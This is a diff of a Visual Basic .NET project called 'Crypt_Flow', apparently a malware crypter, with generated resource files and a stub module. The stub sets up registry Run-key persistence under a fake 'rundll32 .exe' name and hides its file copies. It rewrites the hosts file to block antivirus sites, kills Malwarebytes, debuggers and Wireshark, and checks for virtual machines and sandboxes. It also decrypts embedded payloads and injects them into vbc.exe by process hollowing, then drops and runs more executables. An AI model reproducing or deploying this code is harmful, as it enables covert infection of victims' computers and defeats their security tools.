Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Crypt_Flow.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Remplace la propriété CurrentUICulture du thread actuel pour toutes
|
||||
''' les recherches de ressources à l'aide de cette classe de ressource fortement typée.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property Res() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Res", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Recherche une chaîne localisée semblable à Imports System, Microsoft.VisualBasic
|
||||
'''Imports System.Runtime.InteropServices
|
||||
'''Imports System.Text
|
||||
'''Imports System.Reflection
|
||||
'''Imports System.Security.Cryptography
|
||||
'''Imports System.Runtime.CompilerServices
|
||||
'''Imports System.IO
|
||||
'''Imports System.IO.FileStream
|
||||
'''Imports System.ComponentModel
|
||||
'''Imports Microsoft.Win32
|
||||
'''Imports System.Diagnostics
|
||||
'''Imports System.Object
|
||||
'''Imports System.Net
|
||||
'''Imports System.Windows.Forms
|
||||
'''Imports System.Threading.Thread
|
||||
'''Imports System.Environment
|
||||
'''
|
||||
'''
|
||||
'''
|
||||
'''
|
||||
'''Module pizde
|
||||
''' Dim iohouh787 [le reste de la chaîne a été tronqué]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property sursa() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("sursa", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,128 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="Res" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Res.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="sursa" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\sursa.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' Ce code a été généré par un outil.
|
||||
' Version du runtime :4.0.30319.239
|
||||
'
|
||||
' Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
|
||||
' le code est régénéré.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "Fonctionnalité Enregistrement automatique My.Settings"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.Crypt_Flow.My.MySettings
|
||||
Get
|
||||
Return Global.Crypt_Flow.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,540 @@
|
||||
Imports System, Microsoft.VisualBasic
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Text
|
||||
Imports System.Reflection
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.Runtime.CompilerServices
|
||||
Imports System.IO
|
||||
Imports System.IO.FileStream
|
||||
Imports System.ComponentModel
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Diagnostics
|
||||
Imports System.Object
|
||||
Imports System.Net
|
||||
Imports System.Windows.Forms
|
||||
Imports System.Threading.Thread
|
||||
Imports System.Environment
|
||||
|
||||
|
||||
Module pizde
|
||||
Dim iohouh7877 As String = "GDGDF54545"
|
||||
Dim HostEditing As String = "%28%"
|
||||
Dim antis As String = "%29%"
|
||||
Dim stuff As String = "%something%"
|
||||
|
||||
|
||||
|
||||
Sub Main()
|
||||
|
||||
On Error Resume Next
|
||||
Dim RunningProcess As String = Process.GetCurrentProcess().ProcessName
|
||||
Dim processes As Process() = Process.GetProcessesByName(RunningProcess)
|
||||
|
||||
%200%
|
||||
Const rady = "FUTIitp23EPE"
|
||||
|
||||
If iohouh7877 = "hhhhhhhhhheeeee" Then
|
||||
|
||||
Dim temp As Object = Path.GetTempPath
|
||||
|
||||
Dim ASDASD4 = Application.ExecutablePath
|
||||
Dim AS3 As Object = Path.GetFullPath(ASDASD4)
|
||||
Dim ASFR3R As FileAttributes = FileAttributes.System + FileAttributes.Hidden
|
||||
My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue("rundll32", temp & "rundll32 .exe")
|
||||
|
||||
FileCopy(AS3, temp & "\" & "rundll32 .exe")
|
||||
File.SetAttributes(temp & "\" & "rundll32 .exe", ASFR3R)
|
||||
End If
|
||||
|
||||
|
||||
Const ady = "@targuOCna@"
|
||||
|
||||
If HostEditing = "hhhhhhhhhheeeee" Then
|
||||
HostEdit()
|
||||
Else : End If
|
||||
|
||||
|
||||
|
||||
|
||||
call AntiMalwarebytes()
|
||||
call AntiOllydbg()
|
||||
|
||||
call AntiWireshark()
|
||||
call AntiVirtualBox()
|
||||
call AntiVirtualPC()
|
||||
call AntiVmWare()
|
||||
call IsDebuggerPresent()
|
||||
|
||||
Dim gifa As String
|
||||
Dim piula As String = cacatzel
|
||||
Dim ADSEQ3434 As Byte() = okitokjwe33(Convert.FromBase64String(piula))
|
||||
|
||||
Dim dropsor As String
|
||||
Dim dropz As String = bilibistroc
|
||||
Dim dropfile As Byte() = okitokjwe33(Convert.FromBase64String(dropz))
|
||||
|
||||
Dim fagi As String
|
||||
Dim sula As String = encr
|
||||
Dim nuj As Byte() = decrypt(Convert.FromBase64String(sula), "parola")
|
||||
|
||||
Dim blablabla As String
|
||||
Dim bind As String = bind2
|
||||
Dim file2 As Byte() = okitokjwe33(Convert.FromBase64String(bind))
|
||||
|
||||
|
||||
|
||||
System.Text.Encoding.GetEncoding(1252).GetBytes(piula)
|
||||
Dim temp3 As Object = Path.GetTempPath
|
||||
Dim asfast53 As String
|
||||
Dim fas34434daDdasDSA As String
|
||||
Directory.CreateDirectory(temp3 & "winamp")
|
||||
Dim FAS43243 As String = temp3 & "\" & "winamp" & "\" & "am reusit.exe"
|
||||
asfast53 = "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
|
||||
fas34434daDdasDSA = temp3 & "\" & "winamp" & "\" & "am reusit.exe"
|
||||
If System.IO.File.Exists(fas34434daDdasDSA) = False Then
|
||||
System.IO.File.Copy(asfast53, fas34434daDdasDSA)
|
||||
|
||||
End If
|
||||
|
||||
Dim ASFR3R2 As FileAttributes = FileAttributes.System + FileAttributes.Hidden
|
||||
File.SetAttributes(temp3 & "\" & "winamp" & "\" & "am reusit.exe", ASFR3R2)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
If IsProcessRunning4("sandboxierpcss.exe") = False Then
|
||||
|
||||
buffy.mickey(ADSEQ3434, FAS43243)
|
||||
|
||||
buffy.mickey(nuj, FAS43243)
|
||||
End If
|
||||
|
||||
If IsProcessRunning2("%temp%.exe") = False Then ' dak procesul.exe ruleaza atunci
|
||||
If IsProcessRunning5("#rundll32 .exe#") = #false# then
|
||||
Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to temp dir
|
||||
My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & "%temp%.exe", file2, False)
|
||||
Process.Start(TempDir & "\" & "%temp%.exe")
|
||||
End If
|
||||
End If
|
||||
If IsProcessRunning3("%tmp%.exe") = False Then
|
||||
Dim TempDir2 As String = My.Computer.FileSystem.SpecialDirectories.Temp
|
||||
My.Computer.FileSystem.WriteAllBytes(TempDir2 & "\" & "%tmp%.exe", dropfile, False)
|
||||
Process.Start(TempDir2 & "\" & "%tmp%.exe")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
End
|
||||
End Sub
|
||||
|
||||
|
||||
|
||||
|
||||
Private Declare Function IsDebuggerPresent Lib "kernel32.dll" () As Integer
|
||||
Sub Main2()
|
||||
If IsDebuggerPresent() = 1 Then
|
||||
Console.WriteLine("Debugger Is Present")
|
||||
'DoStuff
|
||||
Else
|
||||
Console.WriteLine("Debugger Not Present")
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
|
||||
Private Sub HostEdit()
|
||||
Dim systempath As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
|
||||
|
||||
Dim hosts As String = systempath & "\" & "drivers" & "\" & "etc" & "\\" & "hosts"
|
||||
'this creates a new string with the value of systempath and the above text
|
||||
'in VB.NET we do not need two \\'s only one.
|
||||
|
||||
Dim writer As New StreamWriter(hosts)
|
||||
|
||||
writer.Write("127.0.0.1 www.virustotal.com")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 virustotal.com")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 novirusthanks.org")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 vscan.novirusthanks.org")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 virusscan.jotti.org")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 www.virusscan.jotti.org")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 virscan.org")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 www.virscan.org")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 virus-trap.org")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 www.virus-trap.org")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 filterbit.com")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 www.filterbit.com")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 viruschief.com")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 www.viruschief.com")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 kaspersky.com")
|
||||
writer.Write(Environment.NewLine)
|
||||
writer.Write("127.0.0.1 www.kaspersky.com")
|
||||
|
||||
|
||||
writer.Dispose()
|
||||
|
||||
End Sub
|
||||
Dim Devices As Object, Grafikadapter As String, RegionA As String = "SELECT * FROM Win32_VideoController"
|
||||
|
||||
Public Function AntiVirtualBox() As Boolean
|
||||
On Error GoTo error1
|
||||
Call getDevices()
|
||||
|
||||
Select Case Grafikadapter
|
||||
Case "VirtualBox Graphics Adapter"
|
||||
Return True
|
||||
Case Else
|
||||
Return False
|
||||
End Select
|
||||
Exit Function
|
||||
error1:
|
||||
End
|
||||
End Function
|
||||
|
||||
Public Function AntiVmWare() As Boolean
|
||||
On Error GoTo error1
|
||||
Call getDevices()
|
||||
|
||||
Select Case Grafikadapter
|
||||
Case "VMware SVGA II"
|
||||
Return True
|
||||
Case Else
|
||||
Return False
|
||||
End Select
|
||||
Exit Function
|
||||
error1:
|
||||
End
|
||||
End Function
|
||||
|
||||
Public Function AntiVirtualPC() As Boolean
|
||||
On Error GoTo error1
|
||||
Call getDevices()
|
||||
|
||||
Select Case Grafikadapter
|
||||
Case "VM Additions S3 Trio32/64"
|
||||
Return True
|
||||
Case Else
|
||||
Return False
|
||||
End Select
|
||||
Exit Function
|
||||
error1:
|
||||
End
|
||||
End Function
|
||||
|
||||
Private Sub getDevices()
|
||||
On Error GoTo error1
|
||||
Devices = GetObject("winmgmts:").ExecQuery(RegionA)
|
||||
Dim AdaptList As Object
|
||||
For Each AdaptList In Devices
|
||||
Grafikadapter = AdaptList.Description
|
||||
Next
|
||||
Exit Sub
|
||||
error1:
|
||||
End
|
||||
End Sub
|
||||
|
||||
|
||||
|
||||
'------------------------Malwarebytes----------------------------
|
||||
Sub AntiMalwarebytes()
|
||||
Dim generaldee As Process() = Process.GetProcesses
|
||||
Dim i As Integer
|
||||
For i = 0 To generaldee.Length - 1
|
||||
Select Case Strings.LCase(generaldee(i).ProcessName)
|
||||
Case "mbam"
|
||||
generaldee(i).Kill()
|
||||
Case Else
|
||||
End Select
|
||||
Next
|
||||
End Sub
|
||||
Sub AntiOllydbg()
|
||||
Dim generaldee As Process() = Process.GetProcesses
|
||||
Dim i As Integer
|
||||
For i = 0 To generaldee.Length - 1
|
||||
Select Case Strings.LCase(generaldee(i).ProcessName)
|
||||
Case "ollydbg"
|
||||
generaldee(i).Kill()
|
||||
Case Else
|
||||
End Select
|
||||
Next
|
||||
'------------------------Wireshark----------------------------
|
||||
End Sub
|
||||
Sub AntiWireshark()
|
||||
Dim generaldee As Process() = Process.GetProcesses
|
||||
Dim i As Integer
|
||||
For i = 0 To generaldee.Length - 1
|
||||
Select Case Strings.LCase(generaldee(i).ProcessName)
|
||||
Case "wireshark"
|
||||
generaldee(i).Kill()
|
||||
Case Else
|
||||
End Select
|
||||
Next
|
||||
End Sub
|
||||
|
||||
|
||||
'-----------------------Emulator------------------------------
|
||||
|
||||
|
||||
Private Function IsProcessRunning2(ByVal name As String) As Boolean
|
||||
Dim p() As Process = Process.GetProcessesByName("%temp%")
|
||||
For Each pNew As Process In p
|
||||
If pNew Is Nothing Then
|
||||
Return (False)
|
||||
Exit For
|
||||
Else
|
||||
Return (True)
|
||||
Exit For
|
||||
End If
|
||||
|
||||
Next
|
||||
End Function
|
||||
Private Function IsProcessRunning3(ByVal name As String) As Boolean
|
||||
Dim p() As Process = Process.GetProcessesByName("%tmp%")
|
||||
For Each pNew As Process In p
|
||||
If pNew Is Nothing Then
|
||||
Return (False)
|
||||
Exit For
|
||||
Else
|
||||
Return (True)
|
||||
Exit For
|
||||
End If
|
||||
|
||||
Next
|
||||
End Function
|
||||
Private Function IsProcessRunning4(ByVal name As String) As Boolean
|
||||
Dim p() As Process = Process.GetProcessesByName("sandboxierpcss")
|
||||
For Each pNew As Process In p
|
||||
If pNew Is Nothing Then
|
||||
Return (False)
|
||||
Exit For
|
||||
Else
|
||||
Return (True)
|
||||
Exit For
|
||||
End If
|
||||
|
||||
Next
|
||||
End Function
|
||||
|
||||
Private Function IsProcessRunning5(ByVal name As String) As Boolean
|
||||
Dim p() As Process = Process.GetProcessesByName("#rundll32 #")
|
||||
For Each pNew As Process In p
|
||||
If pNew Is Nothing Then
|
||||
Return (False)
|
||||
Exit For
|
||||
Else
|
||||
Return (True)
|
||||
Exit For
|
||||
End If
|
||||
|
||||
Next
|
||||
End Function
|
||||
|
||||
Function okitokjwe33(ByVal data As Byte()) As Byte()
|
||||
|
||||
Using E90LDMDXNJ As New System.Security.Cryptography.RijndaelManaged
|
||||
E90LDMDXNJ.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
|
||||
E90LDMDXNJ.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
|
||||
Return E90LDMDXNJ.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
|
||||
|
||||
End Using
|
||||
End Function
|
||||
|
||||
Function decrypt(ByVal message As Byte(), ByVal password As String) As Byte()
|
||||
Dim O6BB3K791m1D8qTyc2v7875E9A1nTpassarrP22wIwq85bVrtWSy2l882mfOIw0y1Qus3URxG45nrwNFZ7J8L3UXoRx As Byte() = System.Text.Encoding.Default.GetBytes(password)
|
||||
Dim VVlv4cC8Xf8XWeM5DNICaJ3mA01A8rallazK1T68e27rand1EHqRWBKU7rL3nv9V6hg5sbz7t34utQk9TOzQTHOHUxar1FSpR6iV9BeRR86ss4Qcb7S1X0bb736zdv61PRcAN As Integer = message(message.Length - 1) Xor 112
|
||||
Dim outarr(message.Length) As Byte
|
||||
Dim Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k As Integer
|
||||
For i1 As Integer = 0 To message.Length - 1
|
||||
outarr(i1) = (message(i1) Xor VVlv4cC8Xf8XWeM5DNICaJ3mA01A8rallazK1T68e27rand1EHqRWBKU7rL3nv9V6hg5sbz7t34utQk9TOzQTHOHUxar1FSpR6iV9BeRR86ss4Qcb7S1X0bb736zdv61PRcAN) Xor O6BB3K791m1D8qTyc2v7875E9A1nTpassarrP22wIwq85bVrtWSy2l882mfOIw0y1Qus3URxG45nrwNFZ7J8L3UXoRx(Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k)
|
||||
If Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = password.Length - 1 Then Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = 0 Else Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k + 1
|
||||
Next
|
||||
ReDim Preserve outarr(message.Length - 2)
|
||||
Return outarr
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
End Module
|
||||
|
||||
Public Class buffy
|
||||
Public Const ASDFASFASF As Long = &HADAS
|
||||
Public Const FASFASFASF As Long = &HEAD4
|
||||
Public Const AFSFASFASCFC As Long = &HDAS
|
||||
Public Const ASDASCASDASD As Long = &HDAS
|
||||
Public Const BVCXBXCBXCB As Long = &HDAS
|
||||
Public Const BXCBXCBXCB As Long = &HFD
|
||||
Public Const FSDR3FSF As Long = &HDAS
|
||||
Public Const KKKKKKKKKDDDDDDD As Long = &H435F
|
||||
Public Const FSSSSSSSSSSSSSSSSSS As UInt32 = &HDAS
|
||||
|
||||
Public Shared Sub mickey(ByVal DAS4DA3() As Byte, ByVal VVVVVVCAE As String)
|
||||
Dim TVM1OKF029 = New Context, ASFSVS As Section_Header, FADAS43FAS43 = New Process_Information, FADASCC43FAS43 = New Startup_Information, FSCC43FAS43 = New Security_Flags, C43FAS43 = New Security_Flags
|
||||
Dim YI02ALMTDK = GCHandle.Alloc(DAS4DA3, GCHandleType.Pinned)
|
||||
Dim ZPOIMKBNM1 As Integer = YI02ALMTDK.AddrOfPinnedObject.ToInt32
|
||||
Dim VAGKWL2DMX As New DOS_Header
|
||||
VAGKWL2DMX = Marshal.PtrToStructure(YI02ALMTDK.AddrOfPinnedObject, VAGKWL2DMX.GetType)
|
||||
YI02ALMTDK.Free()
|
||||
Dim GN04L0ER8I As GN04L0ER8I = TXXY5U8D2U(Of GN04L0ER8I)("kernel32", "CreateProcessA")
|
||||
Dim R84OY4NT36 As R84OY4NT36 = TXXY5U8D2U(Of R84OY4NT36)("kernel32", "GetThreadContext")
|
||||
Dim Q7QRRP639W As Q7QRRP639W = TXXY5U8D2U(Of Q7QRRP639W)("kernel32", "ReadProcessMemory")
|
||||
Dim ZGOQ8VM05M As ZGOQ8VM05M = TXXY5U8D2U(Of ZGOQ8VM05M)("kernel32", "WriteProcessMemory")
|
||||
Dim EFVI2YI66B As EFVI2YI66B = TXXY5U8D2U(Of EFVI2YI66B)("ntdll", "ZwUnmapViewOfSection")
|
||||
Dim W6CTR6GLCC As W6CTR6GLCC = TXXY5U8D2U(Of W6CTR6GLCC)("kernel32", "VirtualAllocEx")
|
||||
Dim K7B3INYH01 As K7B3INYH01 = TXXY5U8D2U(Of K7B3INYH01)("kernel32", "SetThreadContext")
|
||||
Dim WS2XVBNVO9 As WS2XVBNVO9 = TXXY5U8D2U(Of WS2XVBNVO9)("kernel32", "ResumeThread")
|
||||
If GN04L0ER8I(Nothing, VVVVVVCAE, FSCC43FAS43, C43FAS43, False, 4, Nothing, Nothing, FADASCC43FAS43, FADAS43FAS43) = 0 Then Return
|
||||
Dim BKIFNDE2PI As New NT_Headers
|
||||
BKIFNDE2PI = Marshal.PtrToStructure(New IntPtr(ZPOIMKBNM1 + VAGKWL2DMX.DASE3ASDAS), BKIFNDE2PI.GetType)
